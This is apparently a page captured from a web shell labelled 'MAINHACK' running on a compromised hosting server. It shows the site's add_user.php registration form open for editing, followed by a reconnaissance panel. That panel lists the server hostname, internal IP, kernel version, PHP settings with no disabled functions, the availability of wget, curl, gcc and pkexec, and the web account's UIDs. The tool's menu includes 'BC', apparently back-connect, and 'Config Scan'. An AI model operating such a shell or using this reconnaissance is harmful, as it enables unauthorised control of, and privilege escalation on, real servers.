[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: add_user.php
<?php include 'header.php' ?> <style> .col-md-4,.col-md-6,.col-md-3,.col-md-2{ display:inline-block !important; } </style> <div class="main-panel"> <div class="content"> <div class="container-fluid"> <div class="row"> <div class="col-md-12"> <div class="card"> <div class="card-header"> <div class="card-title">Add User</div> </div> <form method="post" id="exampleValidation" data-toggle="validator" enctype="multipart/form-data" > <div class="card-body"> <div class="form-group"> <div class="col-md-4"> <label>Name</label> <input type="text" class="form-control" name="name" placeholder="Name"> </div> <div class="col-md-3"> <label>Phone</label> <input type="text" class="form-control" name="phone" placeholder="Phone"> </div> <div class="col-md-3"> <label>Email</label> <input type="text" class="form-control" name="email" placeholder="Email"> </div> </div> <div class="form-group"> <div class="col-md-2"> <label>DOB</label> <input type="date" class="form-control" name="dob" placeholder="DOB"> </div> <div class="col-md-4"> <label>Qualification</label> <input type="text" class="form-control" name="qualification" placeholder="Qualification"> </div> <div class="col-md-4"> <label>Gender</label> <input type="radio" name="gender" value="Male"> Male <input type="radio" name="gender" value="Female"> Female <input type="radio" name="gender" value="Others"> Others </div> </div> <div class="form-group"> <div class="col-md-6"> <label>Address</label> <input type="text" class="form-control" name="address" placeholder="Address"> </div> <div class="col-md-2"> <label>City</label> <input type="text" class="form-control" name="city" placeholder="City"> </div> <div class="col-md-2"> <label>State</label> <select id="state" name="state" class="form-control" > <option value="">State</option> <?php $table1='state_list'; $stmt1=$show->readAll($table1); $num1=$stmt1->rowCount(); if($num1>0){ while($row1=$stmt1->fetch(PDO::FETCH_ASSOC)){ echo "<option value='".$row1['state']."'";if($ustate==$row1['state']) echo "selected"; echo ">".$row1['state']."</option>"; } } ?> </select> </div> </div> <hr> <h5>Gst Information</h5> <div class="form-group"> <div class="col-md-4"> <label>Gst No</label> <input type="text" class="form-control" name="gst" placeholder="Gst No"> </div> <div class="col-md-3"> <label>Gst Company Name</label> <input type="text" class="form-control" name="gst_company" placeholder="Gst Company Name"> </div> </div> <div class="card-action"> <div class="row"> <div class="col-md-12"> <input class="btn btn-success" type="submit" name="sub" value="Submit"> </div> </div> </div> </div> </form> <?php if(isset($_POST['sub'])){ $uid=$show->getid('ids','USR'); $data = array( 'user_id' => $uid, 'name' => htmlspecialchars($_POST['name']), 'email' => htmlspecialchars($_POST['email']), 'phone' => htmlspecialchars($_POST['phone']), 'qualification' => htmlspecialchars($_POST['qualification']), 'address' => htmlspecialchars($_POST['address']), 'city' => htmlspecialchars($_POST['city']), 'dob' => date('Y-m-d',strtotime($_POST['dob'])), 'gender' => htmlspecialchars($_POST['gender']), 'state' => htmlspecialchars($_POST['state']), 'gst_company' => htmlspecialchars($_POST['gst_company']), 'gst' => htmlspecialchars($_POST['gst']), 'status' => 'ACTIVE', ); // print_r($data); if($show->insert('user',$data)){ echo '<script> setTimeout(function() { swal({ title: "Thank You !", text: "Your product has been inserted", type: "success" }, function() { window.location = "'.$_SERVER['REQUEST_URI'].'"; }); }, 1000); </script>'; //echo "<script>swal('Thank you for Registration.');window.location.href='".$_SERVER['request_uri']."';</script>"; } } ?> </div> </div> </div> </div> </div> <?php include 'footer.php'; ?>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server05.hostinghome.co.in
Server IP: 192.168.74.40
PHP Version: 7.4.33
Server Software: Apache
System: Linux server05.hostinghome.co.in 3.10.0-962.3.2.lve1.5.81.el7.x86_64 #1 SMP Wed May 31 10:36:47 UTC 2023 x86_64
HDD Total: 1.95 TB
HDD Free: 692.03 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Disabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: itsweb
User ID (UID): 1619
Group ID (GID): 1621
Script Owner UID: 1619
Current Dir Owner: 1619